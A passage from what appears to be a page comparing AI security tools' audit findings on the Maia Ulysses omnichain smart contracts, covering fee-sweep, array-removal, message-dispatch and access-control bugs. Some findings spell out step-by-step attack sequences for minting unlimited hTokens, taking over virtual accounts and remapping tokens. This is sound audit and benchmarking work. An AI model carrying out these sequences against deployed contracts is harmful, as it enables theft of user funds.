sweepsetsaccumulatedFees = 0and then transfersaccumulatedFeesto the DAO. The transfer always sends 0.##### Who can do it
No attacker is needed. When the DAO operator at Acme Corp calls
sweep, it receives nothing.- The DAO address calls
sweep.##### What they get
All fees that build up in
accumulatedFeesare locked in the agent forever. This harms the protocol's own revenue, not user funds.##### How it works
1.
sweepzeroes the counter (RootBridgeAgent.sol:1113).2.
sweepthen transfers the counter, which is now zero (RootBridgeAgent.sol:1114). - Exploit scenario
-
Not specified.
- Recommendation
-
Store the amount in a local variable, set
accumulatedFees = 0, and then transfer the local variable. To check the fix, add a test that builds up fees, callssweep, and asserts that the DAO balance increases by that amount.
Devin Security (Deep)
sweep() zeroes accumulatedFees before transferring it, locking protocol fees forever
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:1111Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The DAO can never collect the execution fees the bridge agent accumulates because the withdrawal function sends zero.
##### What's wrong
This is an ordering bug.
sweepsetsaccumulatedFees = 0and then transfersaccumulatedFees, which is now zero.##### Who can do it
No attacker is needed. When the Acme DAO treasurer calls
sweep, the counter is reset and nothing is sent.- Caller must be
daoAddress.##### What they get
Nothing is stolen, but all accumulated fees stay stuck in the bridge agent contract with no way to withdraw them.
##### How it works
1.
sweepsetsaccumulatedFees = 0(RootBridgeAgent.sol:1113).2. It then calls
safeTransferETH(daoAddress, accumulatedFees)with the zeroed value (RootBridgeAgent.sol:1114). - Exploit scenario
-
Not specified.
- Recommendation
-
Cache the value first:
uint256 fees = accumulatedFees; accumulatedFees = 0; safeTransferETH(daoAddress, fees);. Add a test that accumulates fees and asserts the DAO balance increases aftersweep.
Claude Security (Sonnet 5.5)
DAO-only sweep() zeroes accumulatedFees before sending, so it always transfers 0 and fees are locked
src/2-audit/ulysses-omnichain/RootBridgeAgent.sol:1114Predicted severity: Low- Root cause
-
Vulnerable symbol: sweep
Preconditions: None beyond fees having accumulated.
Offending code:
SafeTransferLib.safeTransferETH(daoAddress, accumulatedFees);
- Impact
-
Permanent loss of access to protocol fee accounting and funds (DoS of the DAO's withdrawal authority).
- Description
-
The authorized DAO call sets accumulatedFees = 0 on the previous line and then transfers the (now zero) variable, so the privileged withdrawal path never pays out anything. Also CWE-670: accumulatedFees is set to 0 on the previous line, so the transfer always sends 0; additionally fees are kept as WETH while the function sends ETH.
- Exploit scenario
-
The DAO calls sweep() to collect accumulated gas surplus. The call succeeds but sends 0 wei and also resets the accounting, so the recorded fees are lost and cannot be withdrawn later.
- Recommendation
-
Cache the amount, zero the storage variable, then transfer the cached amount. Ensure the contract actually holds native ETH (accumulated surplus is currently kept as WETH). Also CWE-670: Cache the amount, zero the state, unwrap WETH if needed, and send the cached amount.
-
Asset removal is broken maia-6 · 7 writeups High
V12
Asset removal always crosses the array boundary
src/2-audit/ulysses-amm/UlyssesToken.sol:57Predicted severity: Medium- Root cause
-
The shift loop's bound includes the final element even though its body reads the next element. It must stop before the last index, but the current implementation always crosses the storage array boundary.
- Impact
-
An owner cannot remove a problematic constituent or use the intended removal-and-rebalance recovery path for a basket holding user LP tokens. The demonstrated impact is loss of the composition-recovery operation; removal does not itself steal funds because its transaction always reverts before the final transfer.
- Description
-
For every existing constituent of a basket with at least two assets,
removeAssetiterates whilei < assets.lengthbut readsassets[i + 1]. The last iteration therefore reads exactlyassets[assets.length], which is outside the array and reverts the entire transaction. The same error applies to removing the last constituent from a multi-asset basket, where the invalid read occurs immediately. This makes asset removal unavailable after successful factory deployment and prevents this recovery mechanism from resolving duplicate or malformed initial compositions. The subtraction of the shifted weight and missing reverse-index updates are also visible in the intended mutation sequence, but those later state-corruption mechanisms are unreachable because this panic rolls all writes back.
Pashov (Claude Opus 5.5 high)
UlyssesToken.removeAsset is broken: out-of-bounds loop, wrong weight subtracted, and stale assetId indexes
src/2-audit/ulysses-amm/UlyssesToken.sol:57Predicted severity: Medium- Root cause
-
Incorrect array-removal implementation and wrong ordering of the weight update.
- Impact
-
The owner can never remove an asset. If the bound were fixed, totalWeights would be corrupted (share/asset conversion mispriced) and assetId lookups would be wrong, causing mis-accounting for depositors.
- Description
-
The shifting loop runs
for (i = assetIndex; i < assets.length; i++) assets[i] = assets[i+1]. On the last iteration it readsassets[assets.length], so every call reverts. Even with the bound fixed,totalWeights -= weights[assetIndex]runs after the shift and subtracts the next asset's weight rather than the removed one. The assetId of every shifted asset is also never updated, so it points at the wrong index. - Exploit scenario
-
The owner calls removeAsset(asset0) on a 2-asset token. The loop reads assets[2] and reverts.
- Recommendation
-
Read the removed weight first. Swap the removed element with the last one and pop, updating assetId for the moved asset (stored as index+1).
Pashov (Codex GPT-6 Sol high)
Basket asset removal always reverts
audit/src/2-audit/ulysses-amm/UlyssesToken.sol:57Predicted severity: Medium- Root cause
-
The shift loop runs through assets.length rather than ending at length minus one.
- Impact
-
Owner cannot remove a failed or compromised component; portfolio configuration is frozen.
- Description
-
removeAsset copies assets[i+1] until i reaches the final index, which reads past array end.
- Exploit scenario
-
Call removeAsset for any registered asset in a basket with more than one component.
- Recommendation
-
Stop the shift loop before the final index and subtract the removed weight before shifting.
Devin Security
removeAsset reads past the end of the array and always reverts
src/2-audit/ulysses-amm/UlyssesToken.sol:57Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The token owner can never remove an asset from a Ulysses token, but no user funds are at risk.
##### What's wrong
This is an off-by-one bug. The shift loop runs to
i < assets.lengthand readsassets[i + 1], which is out of bounds on the last pass. The code also subtracts the weight after the shift, so it would subtract the wrong weight even if the loop were fixed.##### Who can do it
Alice, the token owner, calls
removeAsset. The call always reverts. No attacker is involved.- The caller is the token owner.
##### What they get
Nobody gains anything. The owner cannot change the basket by removing an asset.
##### How it works
1. The loop reads
assets[i + 1]wheniequals the last index (UlyssesToken.sol:64-67).2.
totalWeights -= weights[assetIndex]runs after the shift and uses the neighbour's weight (UlyssesToken.sol:69). - Exploit scenario
-
Not specified.
- Recommendation
-
Subtract
weights[assetIndex]before shifting, loop toassets.length - 1, and updateassetIdfor the moved assets. Add a test that removes a middle asset.
Devin Security (Deep)
UlyssesToken withdraw sends the assets to the vault itself, and mint/redeem/removeAsset always revert, so deposits cannot be recovered
src/2-audit/erc-4626/ERC4626MultiToken.sol:65Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any holder who withdraws from a Ulysses multi-asset token burns their shares and receives nothing, and no other exit path works, so every deposit into these vaults is permanently lost.
##### What's wrong
This is a wrong transfer recipient combined with uninitialized memory arrays.
sendAssetstransfers each asset toaddress(this)instead of the receiver, andconvertToAssetsandpreviewMintwrite into a zero-length memory array, somint,redeemandmaxWithdrawalways revert with an out-of-bounds panic. The owner'sremoveAssetalso always reverts because its shift loop reads one past the end of the array.##### Who can do it
Alice, an LP at Acme Capital, deposits three Ulysses pool tokens into a Ulysses Token vault and later calls
withdrawto get them back. Her shares are burned and the tokens move from the vault to the vault. She then triesredeem, which reverts. Bob, the vault owner at Acme, triesremoveAssetto rescue the funds, and that reverts too.- Any
UlyssesTokenwith at least one asset is affected.- No attacker is needed; normal use triggers the loss.
##### What they get
Alice loses every token she deposited. Nothing Alice or Bob can call moves the tokens out of the vault, so the loss is permanent for every depositor of every Ulysses Token vault.
##### How it works
1. Alice calls
withdraw(assetsAmounts, alice, alice)at ERC4626MultiToken.sol:120;previewWithdrawcomputes the shares and_burnremoves them at ERC4626MultiToken.sol:136.2.
sendAssetsat ERC4626MultiToken.sol:65 callsassets[i].safeTransfer(address(this), amount)at line 68, so the tokens stay in the vault and thereceiverargument is never used.3.
redeemat ERC4626MultiToken.sol:144 callspreviewRedeem, which callsconvertToAssetsat line 197; that function writes toassetsAmounts[i]on an unallocated return array at line 202 and reverts.mintfails the same way throughpreviewMintat line 220.4.
UlyssesToken.removeAssetat UlyssesToken.sol:57 loopsiup toassets.length - 1and readsassets[i + 1]at line 65, which is out of bounds, so the owner cannot sweep the stranded tokens either. - Exploit scenario
-
Not specified.
- Recommendation
-
Change
sendAssetsto take areceiverparameter and transfer to it; passreceiverfromwithdrawandredeem. InconvertToAssetsandpreviewMint, allocateassetsAmounts = new uint256[](length)before the loop. InUlyssesToken.removeAsset, bound the shift loop atassets.length - 1and read the removed weight before shifting. Add tests that deposit, thenwithdrawandredeem, and assert the receiver's balances increase by the expected amounts andmintsucceeds.
Claude Security (Sonnet 5.5)
UlyssesToken.removeAsset always reverts: off-by-one out-of-bounds read in the array shift loop
src/2-audit/ulysses-amm/UlyssesToken.sol:65Predicted severity: Medium- Root cause
-
Vulnerable symbol: removeAsset
Preconditions: Caller is the UlyssesToken owner (the function is onlyOwner); The basket contains at least two assets, since a single asset reverts with CannotRemoveLastAsset
Offending code:
assets[i] = assets[i + 1];
- Impact
-
The owner cannot remove any asset from a UlyssesToken basket (for example a depegged or compromised one). Setting its weight to zero is no workaround, because
convertToSharesandpreviewWithdrawthen divide byweights[i] == 0and deposits and withdrawals revert. If the loop bound were fixed naively,assetIdof the shifted assets would stay stale, andtotalWeightswould subtract the already-overwrittenweights[assetIndex](the next asset's weight) instead of the removed asset's weight. That would corrupt the accounting. - Description
-
The shift loop runs
iup toassets.length - 1but readsassets[i + 1]andweights[i + 1]. On the final iteration this indexes one past the end of the storage array and hits the Solidity bounds check (Panic 0x32), so the owner-only call can never succeed for any existing asset. Also CWE-125: The loop condition isi < assets.lengthbut the body indexesi + 1. On the final iteration (i == assets.length - 1) it reads assets[assets.length], which fails the bounds check with Panic(0x32). The loop cannot complete for any asset, because the last iteration is always reached. Also CWE-129: The loopfor (i = assetIndex; i < assets.length; i++)reads indexi + 1on every iteration. On the last iteration (i == assets.length - 1) that index is out of bounds, so every call panics regardless of the asset passed. - Exploit scenario
-
The owner calls
removeAsset(X)for any registered asset X. The loop reaches i == assets.length - 1, evaluatesassets[assets.length], and the transaction reverts with Panic(0x32). The same happens for every asset and for every basket size above one. - Recommendation
-
Rewrite the removal as swap-and-pop, or loop
i + 1 < assets.length. Read the removed asset's weight into a local variable before shifting and subtract that fromtotalWeights. UpdateassetIdfor every moved element. Also CWE-125: Iteratei < assets.length - 1, or use swap-and-pop. Subtract the removed asset's weight before shifting, and update assetId for the moved element. Also CWE-129: Bound the loop ati < assets.length - 1. Read the removed weight before shifting. Update assetId for every shifted element, or use swap-and-pop with an assetId update.
Claude Security (Opus 5.5)
Off-by-one loop bound in removeAsset reads assets[assets.length], so removeAsset always reverts
src/2-audit/ulysses-amm/UlyssesToken.sol:65Predicted severity: Medium- Root cause
-
Vulnerable symbol: removeAsset
Preconditions: Caller is the UlyssesToken owner (onlyOwner); Token has two or more assets
Offending code:
assets[i] = assets[i + 1];
- Impact
-
The token owner can never remove an underlying asset from a UlyssesToken, for example a compromised or depegged pool LP. Setting that asset's weight to 0 through setWeights does not work as a substitute: convertToShares divides by weights[i], so a zero weight makes deposits revert. The token's asset composition is effectively frozen. The logic after the loop is also wrong.
totalWeights -= weights[assetIndex]subtracts the weight of the shifted-in neighbour, not the removed asset.assetIdis never updated for the shifted assets. So simply fixing the loop bound would still corrupt accounting. - Description
-
The shift loop runs while
i < assets.lengthand readsassets[i + 1]andweights[i + 1]. On the last pass it reads indexassets.length, which is out of bounds. Solidity's storage bounds check then panics (0x32) on every call, for any asset. - Exploit scenario
-
The owner of a UlyssesToken holding pools A, B and C calls removeAsset(B). assetIndex is 1 and the loop runs i=1 then i=2. At i=2 it evaluates assets[3] while assets.length is 3, and the transaction reverts with Panic(0x32). The same happens for every asset, so no asset can ever be removed.
- Recommendation
-
Use swap-and-pop. Read
weights[assetIndex]before any mutation and subtract it from totalWeights. Move the last element into assetIndex, setassetId[lastAsset] = assetIndex + 1, then pop both arrays. If order must be kept, bound the loop withi < assets.length - 1and update assetId for every shifted asset.
-
Unsupported function codes maia-7 · 4 writeups High
V12
Management messages reach the wrong dispatcher
src/2-audit/ulysses-omnichain/CoreRootRouter.sol:162Predicted severity: Medium- Root cause
-
Management producers use the system-response action flag for selectors implemented only in the request dispatcher. The bridge agent also discards the router's failure return, allowing the failed management operation to be acknowledged as successful.
- Impact
-
The supported consequence is failure of the standard branch-agent onboarding/synchronization and global-token expansion paths, with unsuccessful management requests acknowledged as successful by the bridge agent. Alternative user-originated flag-
0x01delivery exists, so the evidence does not establish an unavoidable system-wide outage, unauthorized registry changes, or permanent loss of funds. - Description
-
The root router divides management selectors between
anyExecuteResponse(0x02/0x03) andanyExecute(0x01/0x04), but the actual branch management producers send all of them as system messages.CoreBranchRouter.addGlobalTokenandsyncBridgeAgentinvokeperformSystemCallOut, which prefixes the outer action flag0x00.RootBridgeAgent.anyExecuteroutes that flag exclusively toanyExecuteResponse, so legitimate global-addition and branch-synchronization requests reach its unknown-selector return instead of their management handlers. The bridge agent ignores that false return and ultimately returns success, so these operations can finish without adding the token or synchronizing the branch. This is a source-backed dispatcher/lifecycle failure independent of whether the router's deployment configuration is correct.
Pashov (Claude Opus 5.5 high)
CoreRootRouter accepts _syncBranchBridgeAgent (funcId 0x04) from any user, so anyone can register an arbitrary EOA as a branch bridge agent and mint unlimited hTokens
src/2-audit/ulysses-omnichain/CoreRootRouter.sol:185Predicted severity: Critical- Root cause
-
System-level sync request is exposed through the user-callable anyExecute path instead of the system-only anyExecuteResponse path.
- Impact
-
The attacker's EOA can call its Root Bridge Agent's anyExecute directly (requiresExecutor passes because msg.sender == getBranchBridgeAgent[localChainId]). It can supply forged deposits (flags 0x02/0x03/0x05/0x06). RootPort.bridgeToRoot then mints arbitrary global hTokens, which can be redeemed for real underlying on any branch. The attacker can also use flag 0x04 to approve their own router on any victim's VirtualAccount and steal its balance.
- Description
-
_syncBranchBridgeAgent is dispatched from CoreRootRouter.anyExecute (flag 0x01, which any user reaches through BranchBridgeAgent.callOut). It is not in anyExecuteResponse, which only the CoreBranchRouter can reach through performSystemCallOut. The CoreBranchRouter.syncBridgeAgent check that the new agent is a real BranchBridgeAgent registered in the branch port is therefore skipped. Root bridge agents can be created permissionlessly, and the creator becomes manager and can approve any address. An attacker can thus make any address the
getBranchBridgeAgent[chain]of their own Root Bridge Agent. That agent is a trustedisBridgeAgentin RootPort. - Exploit scenario
-
1) RootBridgeAgentFactory.createBridgeAgent(attackerRouter); the attacker is now manager. 2) attackerAgent.approveBranchBridgeAgent(attackerEOA, rootChainId). 3) ArbitrumBranchBridgeAgent(core).callOut{value: 1e6}(abi.encodePacked(bytes1(0x04), abi.encode(attackerEOA, attackerAgent)), 0). Root CoreRootRouter.anyExecute calls RootPort.syncBranchBridgeAgentWithRoot, which sets getBranchBridgeAgent[root] = attackerEOA. 4) attackerEOA calls attackerAgent.anyExecute(0x02|nonce|hUSDC|USDC|1e30|1e30|toChain|funcId|gas). _bridgeIn mints 1e30 global hUSDC to attackerRouter. 5) The attacker withdraws the underlying through ArbitrumBranchBridgeAgent.withdrawFromPort or bridges it to other branches.
- Recommendation
-
Handle funcId 0x04 only in anyExecuteResponse (system requests from the CoreBranchRouter, which checks that the agent is registered in the branch port). Consider also requiring governance approval for new branch bridge agents.
Pashov (Codex GPT-6 Sol high)
Global-token onboarding messages use incompatible dispatch and payloads
audit/src/2-audit/ulysses-omnichain/CoreBranchRouter.sol:46Predicted severity: Medium- Root cause
-
Request/response dispatch, payload schemas, and response-gas funding disagree across the root and branch routers.
- Impact
-
A registered global token cannot be onboarded to another branch through the advertised flow.
- Description
-
The branch sends an add-global-token request as system flag 0x00 with inner ID 0x01, but RootBridgeAgent forwards system messages to CoreRootRouter.anyExecuteResponse, which does not handle ID 0x01. The root return payload also omits the bytes1 selector required by the branch handler. That handler attempts to pay response gas from its own unfunded ETH balance.
- Exploit scenario
-
Call CoreBranchRouter.addGlobalToken for a registered global hToken; root ignores inner 0x01 as an unknown response. If root dispatch is corrected, the returned ABI address begins with zero and branch ignores it as an unknown selector.
- Recommendation
-
Route the branch request to CoreRootRouter.anyExecute, prefix the root return data with the agreed selector, fund the branch response from escrowed gas, and verify the full round trip.
Devin Security (Deep)
Branch agent sync is handled on the user call path; with the open root factory anyone registers their own sender for a port-privileged bridge agent and can mint any hToken or take over any virtual account
src/2-audit/ulysses-omnichain/CoreRootRouter.sol:186Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can create their own root bridge agent, register an address they control as its trusted branch sender through a system command that is reachable from an ordinary user call, and then forge deposit messages that mint unlimited hTokens and take control of every user's virtual account.
##### What's wrong
This is an authorization bypass.
CoreRootRouterhandles the system commands add global token (funcId 0x01) and sync branch bridge agent (funcId 0x04) inanyExecute, which receives payloads from any user'scallOut, instead of inanyExecuteResponse, which only receives payloads the branch core router sends throughperformSystemCallOut. The sync command accepts any new branch agent address and only checks the target root bridge agent's own allow list. BecauseRootBridgeAgentFactory.createBridgeAgentis open to everyone and registers the new agent as a trusted bridge agent inRootPort, the attacker is the manager of that allow list.##### Who can do it
Alice keeps hTokens in her virtual account on the root chain and USDC in the Arbitrum port. Mallory, an attacker with a wallet on Arbitrum, calls
RootBridgeAgentFactory.createBridgeAgentwith a router contract she wrote. She callsapproveBranchBridgeAgenton her new agent to allow a contract she controls. She then calls the publiccallOuton the core branch bridge agent on Arbitrum with a payload that starts with 0x04 and names her contract and her agent. The root core router registers her contract as the agent's trusted sender. Her contract now callsanyExecuteon her agent with any message it likes.- A wallet with gas on Arbitrum. The same works from any branch chain through anycall.
-
RootBridgeAgentFactory.createBridgeAgentis callable by anyone and grantsisBridgeAgentinRootPort.- The core branch bridge agent's
callOutis callable by anyone and its payload reachesCoreRootRouter.anyExecute, which handles funcId 0x04.##### What they get
With a forged flag 0x02 message,
_bridgeInandRootPort.bridgeToRootmint any amount of any hToken to Mallory, which she cashes out of every branch port. With a forged flag 0x04 message that names Alice's address,RootPortapproves Mallory's router on Alice's virtual account and Mallory's router callswithdrawERC20and arbitrarycallon it, taking everything Alice holds there. This reaches every user and every chain.##### How it works
1.
RootBridgeAgentFactory.createBridgeAgent(attackerRouter)deploys aRootBridgeAgentandRootPort.addBridgeAgentmarks itisBridgeAgentwith Mallory as manager (RootBridgeAgentFactory.sol:68-85, RootPort.sol:388-393).2. Mallory calls
approveBranchBridgeAgent(attackerContract, chainId)as manager (RootBridgeAgent.sol:1097-1100).3. Mallory calls
callOuton the core branch bridge agent withparams = 0x04 || abi.encode(attackerContract, attackerAgent)(BranchBridgeAgent.sol:142-144, 307-314).4. The core root bridge agent passes the payload to
CoreRootRouter.anyExecute, which handles funcId 0x04 and callsRootPort.syncBranchBridgeAgentWithRoot(RootBridgeAgent.sol:902-904, CoreRootRouter.sol:203-208, 66-70).5.
RootPortonly checks the attacker agent's own allow list and callssyncBranchBridgeAgent, sogetBranchBridgeAgent[chainId] = attackerContract(RootPort.sol:396-408, RootBridgeAgent.sol:1107-1109).6.
attackerContractcallsanyExecuteon the attacker agent and_requiresExecutoraccepts it (RootBridgeAgent.sol:183-189).7. Flag 0x02 mints arbitrary hTokens through
_bridgeInandbridgeToRoot(RootBridgeAgent.sol:907-921, RootPort.sol:324-330). Flag 0x04 approves the attacker router on any user's virtual account and hands it control (RootBridgeAgent.sol:942-953, RootPort.sol:364-381, VirtualAccount.sol:32-48, 55-58). - Exploit scenario
-
Not specified.
- Recommendation
-
Move funcIds 0x01 and 0x04 from
anyExecutetoanyExecuteResponseso only the branch core router'sperformSystemCallOutcan trigger them, and makeanyExecutereject them. InRootPort.syncBranchBridgeAgentWithRoot, additionally require that the message came from the branch's core bridge agent (which has verifiedisBridgeAgenton the branch port). RestrictRootBridgeAgentFactory.createBridgeAgentto the owner or an allow list, or stop grantingisBridgeAgentautomatically on creation. Verify with tests: send a 0x04 payload through a usercallOutand assert the root rejects it; callcreateBridgeAgentfrom a random account and assert it reverts.
-
Missing access control on anyExecuteNoSettlement maia-8 · 7 writeups High
V12
Unauthenticated receiver can overwrite cross-chain token mappings
src/2-audit/ulysses-omnichain/CoreBranchRouter.sol:149Predicted severity: High- Root cause
-
The derived no-settlement receiver omits the base caller guard, while the root registry treats every resulting system response as authorized to overwrite token mappings.
- Impact
-
A caller can replace an existing global token's destination mapping with a newly deployed hToken, redirecting future bridge settlements away from the previously registered token. The path requires the branch router to hold enough native currency to fund
gasToBridgeOutand successful response transport; without that balance the attempted mutation reverts, but no caller authorization prevents it when funded. - Description
-
CoreBranchRouter.anyExecuteNoSettlement()overrides the base receiver without retainingrequiresBridgeAgent. An arbitrary local caller can therefore submitabi.encode(bytes1(0x01), globalAddress, name, symbol, gasToBridgeOut)and execute_receiveAddGlobalToken()without a root message. The router creates a port-owned hToken and sends a0x03system response claiming that the caller-selected global address maps to that token on this chain. The authenticated root bridge forwards this response to_setLocalToken(), andRootPort.setLocalAddress()overwrites both registry directions without checking prior registration or global-token recognition. This is a local-to-cross-chain authority escalation: transport authentication authenticates a response generated from an unauthenticated local invocation.
Pashov (Claude Opus 5.5 high)
CoreBranchRouter.anyExecuteNoSettlement lacks the bridge-agent check, so anyone can remap global tokens to fresh local hTokens
src/2-audit/ulysses-omnichain/CoreBranchRouter.sol:149Predicted severity: High- Root cause
-
Missing
requiresBridgeAgentmodifier on CoreBranchRouter.anyExecuteNoSettlement. - Impact
-
An attacker can repoint any global token's local representation on a branch to a freshly deployed hToken with no underlying mapping. Settlements to that chain then use the wrong token and underlying withdrawals revert (UnrecognizedUnderlyingAddress), freezing bridging for that asset. The old hTokens held by users lose their global->local round-trip. The call also spends the router's ETH balance on gas.
- Description
-
anyExecuteNoSettlement overrides the BaseBranchRouter version but drops the
requiresBridgeAgentmodifier. Anyone can call it with funcId 0x01. _receiveAddGlobalToken then deploys a new hToken and sends a system request (performSystemCallOut, flag 0x00, funcId 0x03) through the core bridge agent. Root trusts that request as coming from the CoreBranchRouter and calls RootPort.setLocalAddress(global, newToken, chain), overwriting the existing global->local mapping for any token the attacker names. - Exploit scenario
-
The attacker force-sends a little ETH to the CoreBranchRouter (for example via selfdestruct) so performSystemCallOut{value:_rootExecutionGas} has value. They call CoreBranchRouter.anyExecuteNoSettlement(abi.encode(bytes1(0x01), hUSDC_global, "x", "x", uint128(200000))). Root executes _setLocalToken(hUSDC_global, newFakeLocal, branchChain), and all later settlements of hUSDC to that branch use the new, unbacked token.
- Recommendation
-
Add
requiresBridgeAgentto CoreBranchRouter.anyExecuteNoSettlement. On root, refuse to overwrite an existing local mapping in _setLocalToken.
Pashov (Codex GPT-6 Sol high)
Public core branch callback can execute without bridge agent authentication
audit/src/2-audit/ulysses-omnichain/CoreBranchRouter.sol:149Predicted severity: High- Root cause
-
The override omits requiresBridgeAgent.
- Impact
-
An untrusted EOA can remap an active global token on a branch, disrupting or redirecting future bridging and stranding old local-token holders.
- Description
-
anyExecuteNoSettlement overrides the authenticated base callback without the bridge-agent restriction.
- Exploit scenario
-
Force-fund the router with enough ETH for the system response, then call anyExecuteNoSettlement with abi.encode(bytes1(0x01), an existing global hToken, chosen name, chosen symbol, gas). The router deploys a new local token and sends an authenticated response that overwrites the global/local mapping.
- Recommendation
-
Apply requiresBridgeAgent and verify source chain and payload constraints.
Devin Security
anyExecuteNoSettlement override has no caller check
src/2-audit/ulysses-omnichain/CoreBranchRouter.sol:149Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can call the branch core router's cross-chain handler directly and push a token-mapping update to the root chain, but only if the router holds ETH, which it normally does not.
##### What's wrong
This is a missing authorization check. The override of
anyExecuteNoSettlementdrops therequiresBridgeAgentmodifier that the base router uses. The 0x01 branch then creates a new hToken and sends a system message that tells the root to map anyglobalAddressto that token on this chain. The second branch also tests0x01, so the add-bridge-agent-factory handler can never run.##### Who can do it
Mallory, who has no special access, calls
CoreBranchRouter.anyExecuteNoSettlementwith a payload that names Acme's popular global token. The call works only if the router holds at least 150,001 wei. The router has no payable entry point, but someone can force ETH into it, for example throughselfdestruct.- The router must hold enough ETH. Mallory can force it in.
##### What they get
The root's
_setLocalTokenoverwritesgetLocalAddressFromGlobalfor that global token on this chain with no checks. Later bridge-outs to this chain then go to the new hToken instead of the existing one. That breaks token accounting for the asset on this chain. She cannot directly steal funds this way.##### How it works
1. Mallory calls
anyExecuteNoSettlement, which has no caller check (CoreBranchRouter.sol:149-159).2.
_receiveAddGlobalTokencreates a token and callsperformSystemCallOutwith the router's ETH (CoreBranchRouter.sol:111-130).3. The root agent passes flag 0x00 with function 0x03 to
CoreRootRouter._setLocalToken(CoreRootRouter.sol:171-174).4.
RootPort.setLocalAddressoverwrites the mapping. - Exploit scenario
-
Not specified.
- Recommendation
-
Add
requiresBridgeAgentto the override. Change the second selector to0x02. On the root side, check that the global token exists and is not already mapped before_setLocalToken. Add a test that a direct call from an outside address reverts.
Devin Security (Deep)
anyExecuteNoSettlement has no caller check, letting anyone rewrite a token's branch mapping on the root chain
src/2-audit/ulysses-omnichain/CoreBranchRouter.sol:149Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can make the root chain point a real bridged token at a freshly created empty token on a branch chain, which breaks withdrawals of that token on that chain and sends later bridgers the wrong token.
##### What's wrong
This is missing authentication.
BaseBranchRouter.anyExecuteNoSettlementis guarded byrequiresBridgeAgent, butCoreBranchRouteroverrides it without the modifier. The function mints a new local hToken and sends a system message that the rootCoreRootRouterturns intoRootPort.setLocalAddresswith no validation that the global token exists or that the mapping is still empty.##### Who can do it
Alice and other Acme Bridge users bridge USDC to chain B. Mallory, an attacker with an ordinary wallet on chain B, force-sends a little ETH to the
CoreBranchRouter(for example viaselfdestruct) and then callsanyExecuteNoSettlement(abi.encode(bytes1(0x01), hUSDC_global, name, symbol, gas)).- Mallory needs a wallet on a branch chain that uses
CoreBranchRouter(the Arbitrum variant reverts in this function).- The router must hold at least
MIN_FALLBACK_OVERHEADwei, which Mallory can force-send herself.##### What they get
The root port now maps global hUSDC on chain B to a new, empty token T. Any user bridging hUSDC with an underlying withdrawal to chain B reverts with
UnrecognizedUnderlyingAddress, and users bridging without withdrawal receive T instead of the real local hUSDC. Mallory can do this for every token on every such chain and repeat it after an operator fixes it. No funds are taken, but bridging to the chain is disrupted until an owner repairs the registry.##### How it works
1. Mallory calls
CoreBranchRouter.anyExecuteNoSettlementdirectly; there is norequiresBridgeAgent(CoreBranchRouter.sol:149-154 versus BaseBranchRouter.sol:90-92).2.
_receiveAddGlobalTokencreates a new hToken T via the factory (the router is the authorized caller) and callsperformSystemCallOutwith the router's ETH (CoreBranchRouter.sol:111-130).3. The core branch bridge agent sends flag 0x00 with funcId 0x03 to the root (BranchBridgeAgent.sol:250-263).
4.
CoreRootRouter.anyExecuteResponsedecodes(globalAddress, T)and calls_setLocalTokenwith no checks (CoreRootRouter.sol:171-176, 146-148).5.
RootPort.setLocalAddressoverwritesgetLocalAddressFromGlobal[B][hUSDC_global] = T(RootPort.sol:296-302).6.
RootBridgeAgent.callOutAndBridgenow resolves hUSDC to T on chain B and an underlying ofaddress(0)(RootBridgeAgent.sol:249-252). - Exploit scenario
-
Not specified.
- Recommendation
-
Add
requiresBridgeAgenttoCoreBranchRouter.anyExecuteNoSettlement. On the root, make_setLocalTokenrequireisGlobalAddress(_globalAddress)and thatgetLocalAddressFromGlobal[_toChain][_globalAddress] == address(0). Add a test asserting a direct call toanyExecuteNoSettlementfrom a non-agent reverts.
Claude Security (Sonnet 5.5)
CoreBranchRouter.anyExecuteNoSettlement is callable by anyone, letting any caller drive the router's system call-outs to the root chain
src/2-audit/ulysses-omnichain/CoreBranchRouter.sol:149Predicted severity: Medium- Root cause
-
Vulnerable symbol: CoreBranchRouter.anyExecuteNoSettlement
Preconditions: The deployment is a non-Arbitrum branch chain using CoreBranchRouter. ArbitrumCoreBranchRouter overrides the function with revert().; The attacker must put roughly 0.0001 to 0.01 native token of gas funds into the router, for example by selfdestruct force-send, because the router holds no ETH by default and performSystemCallOut requires msg.value > 150000 wei.; The root side must accept the message: the deposited gas must cover _payExecutionGas, which depends on gas price and the root gas pool.
Offending code:
function anyExecuteNoSettlement(bytes memory _data)
- Impact
-
An unauthenticated caller can corrupt the root port's global-to-local token registry for any global token on any non-Arbitrum branch chain. This permanently breaks underlying-token withdrawals and settlements for the targeted token and chain, which freezes the underlying funds held in the BranchPort, and it misdirects hToken settlements to an unintended local token. The caller can also spam-deploy hToken contracts with arbitrary names and symbols through the factory.
- Description
-
BaseBranchRouter declares anyExecuteNoSettlement with the requiresBridgeAgent modifier, but the CoreBranchRouter override drops the modifier, so any address can call it with attacker-chosen _data. The data reaches _receiveAddGlobalToken, which creates an hToken through the factory and sends a trusted system message (0x03 setLocalToken) to the root chain in the router's own name.
- Exploit scenario
-
1) The attacker force-sends a small amount of native token to the CoreBranchRouter (for example via selfdestruct), since the router has no payable fallback. The amount must exceed MIN_FALLBACK_OVERHEAD (150000 wei) and cover root-side execution gas. 2) The attacker calls CoreBranchRouter.anyExecuteNoSettlement(abi.encode(bytes1(0x01), victimGlobalToken, 'x', 'x', gas)), with gas set to the donated amount. 3) The router calls factory.createToken(...), which passes because the router is the factory's core router. It then calls performSystemCallOut{value: gas}(address(this), 0x03 || abi.encode(victimGlobalToken, newToken), 0). The call passes requiresRouter because msg.sender is the router, and the message is delivered through the genuine Core branch bridge agent. 4) On the root chain, the Core bridge agent passes the flag-0x00 message to CoreRootRouter.anyExecuteResponse, which calls RootPort.setLocalAddress(victimGlobalToken, newToken, branchChainId). That overwrites getLocalAddressFromGlobal[branchChain][victimGlobalToken] and adds getGlobalAddressFromLocal[branchChain][newToken], with no check that the global token is valid or that a mapping already exists. 5) Root-to-branch settlements for that token now resolve the local token to newToken, and getUnderlyingTokenFromLocal(newToken) is address(0). 